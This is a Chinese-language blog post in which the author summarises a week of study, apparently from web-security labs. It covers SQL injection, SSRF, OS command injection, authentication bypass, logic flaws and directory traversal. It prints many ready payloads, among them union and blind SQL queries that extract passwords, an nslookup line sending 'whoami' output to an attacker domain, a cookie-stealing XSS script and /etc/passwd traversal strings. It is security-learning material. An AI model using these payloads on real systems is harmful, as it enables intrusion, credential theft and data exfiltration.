網路安全學習階段性總結：SQL隱碼攻擊|SSRF攻擊|OS命令注入|身份驗證漏洞|事物邏輯漏洞|目錄遍歷漏洞

Zeker62發表於2021-08-21
SQL

目錄

屬於一個階段性的總結吧，總結我這一週學習的各種漏洞和各種情況分析

SQL隱碼攻擊

本篇假設：有一個資料庫叫data，其中有資料表叫users，users有三個欄位：id | username | password

什麼是SQL隱碼攻擊？

  • SQL隱碼攻擊是2017年OWASP TOP 1 的危險性較高的一個漏洞型別
  • 攻擊者可以利用修改報文（POST）、修改URL（GET）等方式對目標WEB頁面進行命令傳遞
  • 目的是訪問甚至篡改WEB頁面背後的資料庫，甚至對伺服器進行控制
  • 執行SQL隱碼攻擊常用的工具有BurpSuite、Hackbar等

掌握SQL隱碼攻擊之前需要了解的知識點

SQL隱碼攻擊情況流程分析

有完整的回顯報錯（最簡單的情況）——檢索資料：

這種情況一般都比較簡單，因為可以根據報錯讓我們修改自己的命令；
假設存在網站：https://insecure-website.com/products?category=1 （假網站）
通過報文分析，這屬於一個GET請求，所以我們可以直接在URL上面修改我們想要的值，下面開始注入流程：

  • 測試字元型注入還是數字型注入：
    • 如果這個category的值是一個字串，那麼肯定是字元型注入。但是這個值是一個數字，就需要考慮下是字元型還是數字型注入
    • 通過 1' --+和 1" --+來嘗試閉合前面沒有顯示的符號，以達到測試的目的，檢視報錯資訊，假如我們注入後者，如果報錯資訊是這樣的：
      • error '1" ......' 那麼是字元型注入
      • error '" ......' 那麼就是數字型注入
  • 在確定了到底是字元型還是數字型後，需要檢索到底有多少個欄位：
    • 方法1：使用order by ：1' order by [number] --+ number填寫數字，在超出欄位的時候系統不會有顯示，所以就可以手動出來欄位數啦
    • 方法2：使用union select：1' and 1=2 union select null[,null....] --+。這裡需要注意的是，有的資料庫不需要使用1=2來回顯union，比如access資料庫，其次，使用null作為回顯內容是防止因為資料型別的衝突導致報錯，有的資料庫不支援null的時候，只能手工用數字或者字元新增，比如 1' and 1=2 union select 1,'a',3 --+
  • 如果運氣好，知道了有多少個欄位之後，就需要判斷回顯點，比如，當我們輸入1' and 1=2 union select 1,2,3 --+的時候，2和3都顯示在了頁面上，就說明這存在兩個回顯點，我們可以進一步利用這兩個回顯點進行查詢。
  • 查詢這個web所在的資料庫:我們可以直接使用database()函式對當前資料庫進行查詢，1' and 1=2 union select 1,2,database() --+。
  • 查詢所有資料庫：1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 使用這個命令就可以找出所有的資料庫啦，這個命令是檢索information_schema.schemata所有的schema_name欄位下的值
  • 查詢所有資料表：1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 這個命令是指在information_schema.tables這個資料表下查詢table_name欄位下所有屬於本資料庫的資料表名稱
  • 查詢所有欄位名：1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+ 在information_schema.columns資料表下查詢column_name欄位下所有屬於本資料庫的欄位名
  • 查詢賬號和密碼：1' and 1=2 union select 1,username,password from users --+
  • 單列檢索多個值：如果只有一個欄位，但是想同時出現賬號密碼，可以使用連線符號|| ||:比如1' and 1=2 union select username || "~"|| password from users --+ 單引號雙引號要混用

這些payload需要牢記，這就是一般SQL隱碼攻擊過程，在這個過程裡面，沒有任何防禦、過濾措施。
在這個過程中，我們發現，幾乎可以檢索到所有目標web的資料，如果不對此進行防禦，這將非常危險噶
詳細連結：
https://www.cnblogs.com/Zeker62/p/15167750.html
https://www.cnblogs.com/Zeker62/p/15167751.html

在HTTP報文中利用註釋———危險操作

下面的兩個操作都是基於觀察HTTP報文來修改的，SQL隱碼攻擊遠不能停留在URL

檢索隱藏資料：

情景再現：假如對於一個購物web來說，有一個引數release，當release=1的時候，顯示的是已釋出的商品，但是當release=0的時候，代表的是“未釋出”的隱藏商品。每當我們對一個物品進行查詢的時候，查詢URL如下：

https://insecure-website.com/products?category=Gifts

但這個只是表面的URL，或許我們將這個包用burpSuite抓下來，發現有兩個變數：

........category=Gifts&release=1

底層的SQL語句查詢為

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

這裡就是一個SQL隱碼攻擊點：當我們將Gifts引數改成 Gifts'--++
那麼底層的SQL語句就成了：

SELECT * FROM products WHERE category = 'Gifts'--++' AND released = 1

我們都知道 -- 是註釋符號，所以後面的變數直接被註釋掉了，這時，我們就同時看見了隱藏商品和已釋出的商品，這就是，隱藏資訊的查詢

SQL隱碼攻擊導致邏輯漏洞

其實這並不好歸為邏輯漏洞還是SQL隱碼攻擊漏洞。
情景再現 ：假如輸入賬號密碼登入到客戶端，
我們截獲的報文是這樣的：

username=Tom&password=123

底層的SQL語句查詢是這樣的：

SELECT * FROM users WHERE username = 'Tom' AND password = '123'

但是此時我們修改報文，就可能導致不需要密碼驗證就登入到賬戶，修改如下

username=Tom'--+++&password=123

那麼SQL語句就成了：

SELECT * FROM users WHERE username = 'Tom'--+++' AND password = '123'

可能不需要賬號密碼就可以登入了

SQL隱碼攻擊重點——盲注！

盲注可以說是SQL隱碼攻擊的重點了，幾乎所有真實的情況都是SQL盲注，因為稍微有點安全知識的、或者懶的開發者都不會把類似sql_error()這個函式寫上去吧。

目前針對SQL盲注有三種方法：

  • 利用返回出來的web頁面差異，對我們的注入語句進行判斷，比如使用 1=2 、被0除這種故意營造錯誤
  • 如果頁面沒有差異，那麼就可以使用時間延遲的注入，設定我們SQL語句如果執行了就晚點返回頁面，可以有效判斷
  • 如果上面的技術都沒有用，那就剩下BurpSuite的技術：OAST了，這個技術是在Burp Collaborator Client裡面的。這個原理大致是，如果語句有效，它會返回給我們的Burp Collaborator Client一些報文，這個相當於DNS伺服器一樣。

詳細連結：https://www.cnblogs.com/Zeker62/p/15167738.html

通過觸發條件響應來實現SQL盲注

情景再現：我們知道，假如你登入一個賬戶，如果是正確的賬戶，或許會顯示“歡迎”，如果不正確，可能會顯示“請重新輸入”的介面，這種介面返回的不同相當於在說 yes 和 no，所以我們可以在後面加一些判斷語句，讓他告訴我們yes或者no
所以下面分析這個漏洞是如何利用的：

  • 我們輸入一個正確的賬戶Tom，返回出“歡迎”的介面
  • 在Burp中找到HTTP history 中剛剛發過去的報文，擷取下來到Repeater
  • 假設這個報文的Cookie:usernmae=Tom
  • 這個報文的底層SQL語句查詢可能是：SELECT username FROM users WHERE username = 'Tom'
  • 又嗅到了SQL隱碼攻擊的味道。
  • 這個只會說yes和no的web，聯合注入查詢是沒有用的，只能另闢蹊徑。
  • 假設我們知道管理員的賬號是Administrator
  • 可以使用Tom' AND SUBSTRING((SELECT password FROM Users WHERE username = 'Administrator'), 1, 1) > 'm 來查詢管理員的密碼的第一個字元是不是在ASCII編碼上大於m
  • 於是底層的SQL語句就成了：SELECT username FROM users WHERE username = 'Tom' AND SUBSTRING((SELECT password FROM Users WHERE username = 'Administrator'), 1, 1) > 'm'，如果第一個密碼字元是大於m的，會返回"歡迎"，所以接下來就可以使勁造了，但是這樣肯定費時間了噶。
  • 我們可以先使用：Tom' and (select 'a' from users where username='Administrator' and length(password)>5)='a這個語句來確定密碼長度。這裡的解釋是，如果password大於5，那麼就會返回a字元，再與a字元比較，返回真假。如果不大於5，那就返回false ，和a比就是假了。
  • 然後再用intruder的暴力破解：Tom' and (select substring(password,$1$,1) from users where username='Administrator')='$a$這樣，經過一系列的破解，最後的密碼就可以算出來了

通過觸發布林錯誤實現SQL盲注——布林盲注

情景再現：不管你是否成功登入了賬戶，沒有“歡迎”和“重新輸入”介面了。根據查詢語句返回的任何資料，其結果不會有任何不同。
在這種情況下，可以根據注入的條件有目的去觸發SQL錯誤，從而使得web返回不一樣的響應狀態碼。並且我們需要在條件為true時導致資料庫錯誤，而不是在條件為false時導致資料庫錯誤，不理解？看下面的實操：
還是和上面的Cookie一致：

  • 輸入Tom' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a 在這種情況下 ，1=2為假，所以我們可以返回a，這條語句的最終結果是true
  • 輸入Tom' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a 1=1 為真，返回的是1/0，但是0不能做除數，所以一定不會返回200OK狀態碼。
  • 所以這樣的錯誤導致應用程式的HTTP響應存在某些差異，我們可以使用此差異來推斷注入的條件是否為真。
  • 我們使用如下語句：Tom' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a 可以判斷我們的密碼的第一個字元的ASCII碼是不是大於m，於是可以沿用上面的暴力破解方法來算出密碼
  • 另一種寫法：Tom' || (select case when substr(password,§1§,1)='§a§' then to_char(1/0) else '' end from users where username='administrator') ||'
  • 個人比較喜歡第二種

通過觸發時間延遲實現SQL盲注——時延盲注

情景再現：如果WEB捕獲資料庫錯誤並隱祕地處理它們。意思就是說：執行注入的SQL查詢時觸發資料庫錯誤不再會導致應用程式的任何響應，也就是不再報出任何錯誤，所以前面的方法將沒有用。
此時我們可以讓返回的資料包慢一點，給判斷條件上附加一個"延長收貨"的功能，如果條件正確，就延長HTTP響應時間。

  • 還是沿用第一個情況的Cookie
  • 我們可以輸入：Tom'%3Bselect case when(username='administrator' and length(password)>10) then sleep(10) else sleep(0) end from users --+++來判斷密碼長度是否大於10 ，在這裡，%3B是表示分號，用於分隔執行的程式碼，注意：不同的SQL資料庫時間延遲的函式也不一樣：MySQL是sleep() 而PostgreSQL是 gp_sleep() 等等，建議查表https://portswigger.net/web-security/sql-injection/cheat-sheet
  • 比如微軟資料庫：Tom'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
  • 確定時延可以用之後就可以爆破了

通過OAST進行盲注——最終大招

情景再現：如果資料庫是多執行緒併發執行的，就是在提交查詢請求之後，直接先返回接收正確的報文，然後也不告訴你查詢結果也不報錯，上面所有的方法都沒有用了，就剩下這個最終大招。
使用OAST最簡單、最可靠的方法是使用Burp Collaborator。這是一個伺服器，提供各種網路服務（包括DNS）的自定義實現，並允許您檢測何時由於向易受攻擊的應用程式傳送單個有效負載而發生網路互動。Burp Suite Professional內建了對Burp Collaborator的支援，無需配置。

  • 這裡涉及到XXE注入，我簡單解釋一下思路
  • 就是將一些資料傳送到我們的OAST伺服器中去，這些資料擁有我們查詢的內容等等
  • 也就是，不告訴我們的東西我們都知道了

雙注入

這個是我在sqli-labs 中做題做到的
連結在這：https://www.cnblogs.com/Zeker62/p/15167781.html
其實本質上報錯注入的一般情況，只是SQL語句的注入比較特殊。

2021-08-21 11:24:52 星期六

SSRF 攻擊

什麼是SSRF攻擊？

  • Server-Site Request Forgery 伺服器端請求偽造攻擊
  • 和CSRF不一樣的是，SSRF針對的是伺服器
  • 攻擊者針對伺服器的攻擊意圖控制伺服器的種種操作

常見SSRF攻擊情況

針對伺服器本身的SSRF攻擊：

情景再現：比如在一個購物網站裡，客戶端請求查詢一個物品庫存，要提供庫存資訊，WEB必須查詢各種後端 REST API，具體取決於相關產品和商店，這個功能是通過前端 HTTP 請求將 URL 傳遞到相關後端 API 來實現的。因此，當使用者檢視商品的庫存狀態時，他們的瀏覽器會發出如下請求：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

這種情況會讓伺服器去檢http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1這個地方的商品庫存，並之後返回給使用者
於是，我們可以修改這個API：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

這樣，相當於使用者查詢了admin的內容，之後伺服器也會將admin的內容返回給客戶端。
甚至，我們可以操作admin來刪除一個使用者：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

http://localhost/admin/delete?username=carlos

針對其他後端伺服器的SSRF攻擊：

當我們訪問的伺服器並不能訪問本地的內容，但是存在一種情況：可以和後端其他的伺服器進行互動。
這就屬於一個內網攻擊的範疇，在前面的例子裡沒假設有個192.168.1.100的伺服器在目標伺服器的網路拓撲圖內
我們就可以使用SSRF來對其進行攻擊

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

http://192.168.1.100/admin

繞過常見的SSRF防禦

有些web的SSRF防禦不嚴，可以繞過，畢竟SSRF沒有SQL那麼出名

敏感URL的混淆——壞人冒充好人

我們在進行SSRF攻擊的時候，像127.0.0.1和admin這種可能是敏感的URL內容，會被過濾器檢測到
有下面三種方法：

  • 使用替代的IP代替127.0.0.1：比如2130706433，017700000001，或127.1
  • 註冊自己的域名為127.0.0.1 比如：spoofed.burpcollaborator.net
  • 使用 URL 編碼或大小寫變體混淆被阻止的字串

友好URL的欺騙——壞人藏在好人堆裡

有些伺服器指定了只和哪些URL進行匹配，就相當於“白名單”一樣的東西
我們可以利用白名單裡面的URL對其進行一些修改，讓他們既在白名單的範疇，又能執行惡意操作
方法如下：

  • 可以使用@字元在 URL 中的主機名之前嵌入憑據。例如：https://expected-host@evil-host。
  • 可以使用該#字元來表示 URL 片段。例如：https://evil-host#expected-host。
  • 可以利用 DNS 命名層次結構將所需的輸入放入您控制的完全限定的 DNS 名稱中。例如：https://expected-host.evil-host。
  • 可以對字元進行 URL 編碼以混淆 URL 解析程式碼。如果實現過濾器的程式碼處理 URL 編碼字元的方式不同於執行後端 HTTP 請求的程式碼，這將特別有用。
  • 可以結合性地使用這些技術。

比如：http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

重定向的SSRF漏洞

當過濾非常非常嚴格的時候，但是出現一個新的事情：當查到資料之後重定向頁面

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

OS 命令注入

OS命令注入就是想盡一切辦法，讓攻擊者能夠對目標使用系統命令，以進行惡意操作

執行任意命令

情景再現：假設你在一個購物頁面，然後你點選一個商品檢視是否有貨，你點開了它：
https://insecure-website.com/stockStatus?productID=381&storeID=29
這個URL傳輸到伺服器，有可能是通過命令列工作的，比如執行了命令：
findstock.py 381 29
然後將返回值返回給了客戶端
但是這種伺服器並沒有對輸入的URL進行檢測，我們可以這麼幹：
https://insecure-website.com/stockStatus?productID=381&whoami&&storeID=29
這樣伺服器的命令變成了：
findstock.py 381 &whoami& 29
命令執行過程：

  • findstock.py 381 ---引數不全，錯誤
  • whoami 返回賬戶名稱
  • 29 不是命令

或者比如，修改報文如此：productId=2&storeId=3|whoami

&在注入的命令之後 放置額外的命令分隔符通常很有用，因為它將注入的命令與注入點之後的任何內容分開。這降低了以下內容阻止執行注入的命令的可能性。

這裡有一些執行的常用分隔符：

command1 & command2 ：兩個命令都執行
command1 && command2 ：與執行，第一個成功執行第二個才會執行
command1 | command2 ：或執行，只執行第二個
command1 ||command2：第一個執行成功，第二個不執行。第一個執行失敗，第二個執行

一些常用的命令：

命令的目的 Linux Windows
當前使用者名稱 whoami whoami
作業系統 uname -a ver
網路配置 ifconfig ipconfig /all
網路連線 netstat -an netstat -an
執行程式 ps -ef tasklist

OS命令盲注

和SQL一樣，大多數情況下都是盲注。
伺服器幾乎不會返回執行命令後的資料，因為大多數命令都是在伺服器裡隱祕進行了
比如：mail命令：
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail命令 的輸出就不會在應用程式的響應中返回，所以我們將針對這種情況進行探討

時延盲注

只要不是遇到多執行緒執行的伺服器，時延盲注就很有效：
在OS命令裡面，最有效的方法是使用ping -c 命令，比如：

& ping -c 10 127.0.0.1 &

這個命令會讓伺服器ping 127.0.0.1 10秒的時間，有效實現了時延。
例如
email=x||ping+-c+10+127.0.0.1||
將兩個進行了一個拼接。

重定向盲注

當伺服器不能回顯數值的時候，此時我們又可以通過命令訪問伺服器裡面的檔案。
我們就可以選擇將命令的回顯內容寫入伺服器的檔案，然後我們再通過命令訪問這個檔案，就能很好地實現重定向瞞住

例如，如果應用程式從檔案系統位置提供靜態資源/var/www/static，那麼您可以提交以下輸入：

& whoami > /var/www/static/whoami.txt &

該>字元將whoami命令的輸出傳送到指定的檔案。然後，您可以使用瀏覽器獲取https://vulnerable-website.com/whoami.txt或者https://vulnerable-website.com/?filename=output.txt檔案以檢索檔案，並檢視注入命令的輸出。

使用OAST技術實現盲注

使用帶外 ( OAST ) 技術利用 OS 命令盲注入
您可以使用注入的命令，使用 OAST 技術觸發與您控制的系統的帶外網路進行互動。例如：

& nslookup xxxxxxxxxxxxxxxxxxxxxxx.web-attacker.com &

使用之後，我們就可以在OAST端看見此條命令被執行，結合其他命令一起輸入，可以判斷是否注入成功。
這種技術就需要使用Burp Collaborator的支援了

此外，我們甚至可以在其中加上命令，在burp端就可以直接回顯出來：

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

這將導致對包含whoami命令結果的攻擊者域進行 DNS 查詢：
就可以直接返回whoami了

命令注入符號

許多字元用作命令分隔符，允許將命令連結在一起。以下命令分隔符適用於基於 Windows 和 Unix 的系統：

  • &
  • &&
  • |
  • ||

以下命令分隔符僅適用於基於 Unix 的系統：

  • ;
  • 換行符（0x0a或\n）

使用 ``(Tab鍵上面的英文符號) 在其中直接加入命令可直接執行

身份驗證漏洞：

身份驗證漏洞就是在你輸入賬號密碼的時候，可能有各種各樣的能夠竊取到你的賬號密碼或者無密碼登入。
這種漏洞的產生都是由於劣質的身份驗證機制。
常見的方法有：

  • 暴力破解賬號密碼
  • 獲取登入憑據無密碼登入

具體如下

登入密碼的破解：

登入密碼的破解離不開暴力遍歷破解，但是，根據一些其他的漏洞，我們可以很有效得縮小密碼的範圍，然後在短短的時間內就能輕鬆獲取密碼。當然，破解密碼之前，需要一本好的字典
此外，要記住：狀態碼302重定向通常代表著密碼的正確

根據不同的頁面響應確定密碼

情景假設：一個登入介面的機制是，當你輸入一個使用者名稱和密碼的時候，會先檢索使用者名稱是否存在，如果存在，再搜尋密碼是否正確；如果使用者名稱不存在，會直接顯示：Invalid username。
根據這種情況，我們可以先去暴力破解使用者名稱，再去暴力破解密碼：

  • 假如字典裡有1000個使用者名稱和1000個密碼
  • 如果先暴力破解使用者名稱，只要不是Invalid username提示就是正確的使用者名稱，再暴力破解密碼，狀態碼為302就代表正確，這樣下來只要嘗試2000次就能得到答案
  • 如果不管不顧使用全遍歷破解，則需要1000000次才能破解成功，非常耗時。

所以，在破解之前，要觀察它的頁面響應機制是什麼

根據微小的區別頁面響應確定密碼

和上面的情景一樣，但這次，如果使用者名稱不存在則返回“Invalid”，如果使用者名稱存在則返回“Invalid ”（多個空格）
這樣的響應，我們肉眼幾乎無法探查，所以需要用到burp這個工具
所以這裡需要學習的是：當響應的不同非常小的時候，藉助burp可以非常有用：

  • 我們在使用Intruder攻擊的時候，轉到options選項上，有個Grep的欄目，我們可以用選框框下報錯的地方
  • 當這個區域範圍內的內容只要和我們初始框的不太一樣，就會顯示出來

所以，微小的響應使得我們必須藉助工具了

根據響應時間的不同來確定使用者名稱

情景假設：使用者名稱我們並不知道，也不會有什麼響應的不同，都是Invalid，這個時候怎麼辦？
如果是先驗證使用者名稱再驗證密碼的機制的話
很顯然，伺服器在找到正確使用者名稱之後還需要花時間去比對密碼，這將耗費更多的時間。而錯誤的使用者名稱根本就不用比對密碼，根據這個差異，我們可以觀察執行時間的差異來看看到底是哪個使用者，這種方法也要多試幾次，跟你的網路也有關
image
如圖的兩個地方需要開啟，觀察耗時最長的就是它了，之後再暴力破解密碼就方便很多

破解伺服器防止暴力破解對IP的限制

如果同一個IP請求訪問的次數太多了，伺服器可能會認為它在暴力破解，不太安全
所以有個IP鎖
針對這種情況，我們可以增加一個：X-Forwarded-For或者X-Forwarded-Host
這兩個的作用顯示的是最原始的域名或者IP
我們在暴力破解的同時，對其也進行隨機數的生成
這樣伺服器就會誤以為是不同的IP在訪問，有效繞過了IP鎖

破解更強的IP限制

更強的IP限制，就是X-Forwarded-For和X-Forwarded-Host不能用了的情況
情景再現：當使用者輸錯3次密碼以上，就會提醒使用者思考10分鐘甚至更久。
但是如果這三次中間只要有一次輸對了密碼，這個計數器就會被重置
此外X-Forwarded-For和X-Forwarded-Host被和諧

  • 在這種情況下，不能在報文上做手腳了
  • 如果我們已知一個正確的使用者名稱和密碼（比如我們自己註冊一個）
  • 我們可以讓暴力破解的時候，讓攻擊者使用者和被攻擊者使用者交替登入
  • 當被攻擊者的賬戶登錯了，再登入攻擊者的賬戶，計數器重置
  • 這樣就可以實現暴力破解攻擊了
  • 最後再過濾掉我們的賬戶，尋找302，就可以找到我們需要的賬號和密碼

這種方法雖然聽起來不錯，但是不幸的是，這種有可能必須使用全匹配機制，而且因為正確與不正確交替，我們最壞情況就是要執行2000000次查詢

JSON請求漏洞

當POST/GET 提交的密碼報文以JSON的形式提交的時候，就可以修改密碼：

"username" : "carlos",
"password" : [
    "123456",
    "password",
    "qwerty"
    ...
]

這樣會直接返302請求

多次身份驗證的漏洞

多次身份驗證的意思就是，驗證了賬號密碼，還要輸入驗證碼，或者傳送郵箱驗證碼到你的郵箱驗證
在這裡面也有許多有趣的漏洞：

繞過假的身份二次驗證

有的web裡面驗證了賬號密碼就已經登入進去了，
再傳送驗證碼到郵箱並且輸入驗證碼就像個擺設
假如，Tom正確登入的介面是 ...?username=Tom/my-account
二次驗證的URL為 ...?username=Tom/email-to-send
我們只需要更改URL後面的成為/my-account就可以正確登入啦

二次驗證的邏輯漏洞

這次二次驗證不是擺設了，假設在你輸入驗證碼傳送給伺服器的時候，有兩個變數表示那是你：

  • verify=Tom //使用者名稱
  • email-code=3211 //驗證碼

伺服器依靠這兩個關鍵引數來確定Tom要不要登入
所以根據這個邏輯，我們可以將使用者名稱改成admin，驗證碼使用暴力破解
這樣，甚至有可能不需要密碼就達到登入別人賬戶的目的

非常麻煩的暴力破解驗證碼情況（驗證碼有重複輸入檢測）

與密碼一樣，網站需要採取措施防止驗證碼的暴力破解。因為程式碼通常是一個簡單的 4 位或 6 位數字。
如果沒有足夠的保護，破解這樣的程式碼是so easy的。
一些網站試圖通過在使用者輸入一定數量的錯誤驗證碼時自動將使用者登出來防止這種情況發生。

這在實踐中是無效的，因為高階攻擊者甚至可以通過為 Burp Intruder建立巨集來自動化這個多步驟過程。
詳細見部落格：https://www.cnblogs.com/Zeker62/p/15167725.html

其他的身份驗證機制漏洞

Cookie驗證

有些伺服器將賬戶和密碼不用明文顯示出來，而是隱藏在Cookie裡面 ，就需要使用者自己去破解
成功破解了Cookie就相當於成功破解了賬號密碼的位置，
再按照生成Cookie的規則進行暴力破解即可：
比如： Cookie=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw

  • 這個Cookie的公式是：base64(username,MD5(password))
  • 所以我們在暴力破解的時候使用這個公式就能很好得攻擊

在Cookie破解的時候，得到目標的Cookie公式非常重要
一般密碼為MD5編碼：https://www.cnblogs.com/Zeker62/p/15167723.html

離線密碼破解

這一般要使用到儲存型XSS功能，因為此時的攻擊方式離線了，但是隻要使用者上線，就能擷取到目標使用者的賬號密碼
比如：
<script>document.location='//xxxxxxxxxxxxxxxx.web-security-academy.net/'+document.cookie</script>
使用這樣的XSS注入程式碼，就能竊取到目標的Cookie了，再進行破解

密碼重置邏輯漏洞

在重置密碼的時候，會有一個token，但是我們刪除token之後，密碼也能重置成功
簡單而又有危害的漏洞

通過中介軟體伺服器重設密碼中毒

情景再現，這次需要重置密碼，但是需要傳送到郵箱裡面有個重置密碼的URL
現在我們的Tom使用自己的賬戶，盜取ALice的賬戶

  • Tom點選忘記了密碼，重新設定
  • Tom在重設密碼的URL裡面新增一個X-Forwarded-For
  • 這個指向的地址Tom的伺服器
  • 並將username引數更改為Alice併傳送請求。
  • 此時，系統會給Alice的郵箱傳送重置密碼的連結
  • Alice不知道這個東西，就點進去了
  • Alice以為是自己的賬戶密碼重置，就完成了重置
  • 此時Tom 的伺服器就出現了一個東西GET /forgot-password請求
  • 而上面有ALice的temp-forgot-password-token！
  • 將這個密碼重置連結+Token貼上到你的URL，此時你就可以重置Alice的密碼了！

事物邏輯漏洞

事物邏輯漏洞是一個統稱，不是特指哪一個漏洞，
邏輯漏洞存在於各種漏洞之中：身份驗證有可能有邏輯錯誤、命令注入也可能有邏輯錯誤，這裡進行一些舉例

伺服器對客戶端控制的過度信任

這種情況就是說伺服器將一些關鍵性資料暴露出來，而稍微有點技術的客戶端的人就能輕易修改這些資料
情景再現：比如一件衣服的價格是1000元，但是我們可以截獲報文修改這個價格是1元，結果返回給伺服器的價格真的就變成了1元
這種就是對客戶端的過度信任導致的漏洞

當然，我們之前介紹的二次驗證中的邏輯漏洞也是源於客戶端的過度信任

無法處理非常規輸入

有時候可能在想，要是買東西的時候錢越變越多就好了
依據這個漏洞還真有可能：

  • 我們可以通過修改報文中的價格讓價格變成負數
  • 我們可以修改商品數量讓價格超出整數的取值範圍變成負數（想象二進位制是怎麼變的）
    還有一種情況：
    就是當dontwannacry使用者有高許可權的時候，我們可以使用very-long-string@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net，而此時伺服器的機制就是擷取前面255個位元組，只要我們擷取的部分剛好是very-long-string@dontwannacry.com，就能使用高許可權的郵箱進行登入

使用者進行對伺服器有害的行為

這一般和社會工程學有關：

受信任的使用者並不總是值得信賴的

一個高許可權的使用者可以訪問/admin頁面，但是它的郵箱是@dontwannacry.com地址
我們可以修改郵箱也為這種郵箱就能訪問admin頁面了
這意思就是將關鍵的操作給了使用者授權，但是使用者有可能是像我們這種做滲透的。

伺服器不會總是要求使用者強制輸入

比如現在輸入賬號密碼的時候，是不是有的時候並不要求使用者輸入賬號密碼什麼
這就是一個漏洞。
比如在更改密碼的時候，可能會要求輸入你的當前密碼，但是伺服器為了速度，省去了確認密碼的步驟，這就導致只需要賬戶就能輸入密碼，造成了極大的安全漏洞

使用者不會總是遵循預期的順序

這個漏洞是指，伺服器規定了使用者必須先發什麼報文再發什麼報文才能生成什麼樣的動作
比如購買商品：

  • 成功購買了會傳送一個GET /cart/order-confirmation?order-confirmation=true報文
  • 但是我們沒錢的時候，這時候不去傳送一個沒錢的報文，而是傳送這個購買成功的報文穿插進去
  • 這時就會顯示我們購買成功！

這就是對使用者的行為的順序的一種不當的推進

目錄遍歷漏洞

目錄遍歷漏洞是一種越權訪問。
就是明明在這個web頁面，卻通過一些操作，訪問這臺伺服器裡面其他的檔案，甚至重要檔案

通過目錄遍歷讀取檔案

繞過常見過濾器

  • 使用檔案系統的絕對路徑（例如filename=/etc/passwd）來直接引用檔案，而無需使用任何遍歷序列。
  • 使用多個字元防止字元過濾，比如filename=....//....//....//etc/passwd
  • 當遇到更強的過濾的時候：使用 filename=..%252f..%252f..%252fetc/passwd.
  • 當遇到必須以某個預期的檔案開頭時，可以使用filename=/var/www/images/../../../etc/passwd
  • 當必須使用某個副檔名結尾的時候，可以使用:filename=../../../etc/passwd%00.png

現在的過濾器很強大，這個目錄遍歷的越權訪問在一些大網站上很難實現。

寫在最後

這篇文章是我對這一週所學知識的總結
耗時6個小時，差不多總結完了，但是還有靶場連結沒有整理
加油！！

相關文章